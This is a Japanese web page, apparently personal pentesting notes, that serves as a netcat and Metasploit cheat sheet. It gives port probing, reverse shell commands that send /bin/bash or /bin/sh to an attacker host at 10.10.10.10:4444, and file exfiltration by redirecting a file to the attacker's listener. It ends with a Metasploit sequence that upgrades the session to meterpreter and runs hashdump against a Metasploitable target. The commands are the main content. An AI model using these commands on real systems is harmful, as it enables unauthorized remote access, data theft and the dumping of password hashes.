top of page

ABOUT

DETAIL

Port Knocking
nc <対象のIPアドレス> <ポート番号>

ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられます。

Reverse shell
代表的な使い方。 
Reverse Shellなんで攻撃対象から攻撃側に接続し返してきます。
待受側(Attacker)
指定したポートで、標的からのReverse接続を待ち受けます。
nc -lvp <待ち受けるポート番号>
nc -lvp 4444などが一般的

接続側(Victim)
nc <攻撃者のIPアドレス> <待ち受けているポート番号>
nc 10.10.10.10 4444 など
これで接続できます。

nc -e /bin/bash <攻撃者のIPアドレス> <待ち受けているポート番号>
このようにオプションをつけると接続した時のshellを指定でき便利です。

攻撃対象からの接続されると、待受側で接続が開始されたメッセージが表示され、シェルを実行することができます。
hostname
uname -a
whoami
w
last
ifconfig
などを実行してみましょう。

ファイル転送
Reverse shellの応用で、入出力先をファイルにすることでファイルの転送もできます。
先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。
nc -lvp 4444 > filename
※filenameというファイルに保存されるように実行しています。
nc <攻撃者のIPアドレス> <待ち受けているポート番号> < <転送したいファイル名>

 

netcatで接続したセッションをmeterpreterへエスカレーションする
msf > use exploit/multi/handler 
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run


nc <攻撃側のIPアドレス> <待受のポート番号> -e /bin/sh
nc 10.10.10.10 4444 -e /bin/sh

metasploitable側からの接続を受けてCommand Shellでのセッションが開く
ここで「control + z」を押してセッションをバックグラウンドへ移行する
Background session 1? [y/N] y
もとのコンソールに戻ってきたら一度「session」コマンドで確認

昇格
次にmeterpreterへエスカレーションするモジュールをポストする
msf exploit(handler) > use post/multi/manage/shell_to_meterpreter 
msf post(shell_to_meterpreter) > set session 1
session => 1
msf post(shell_to_meterpreter) > run

payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できます。
 
「session」コマンドで確認

「session -i 2」で、meterpreterセッションに接続
sysinfo, hashdumpなどmeterpreterのコマンドを実行することができます。

bottom of page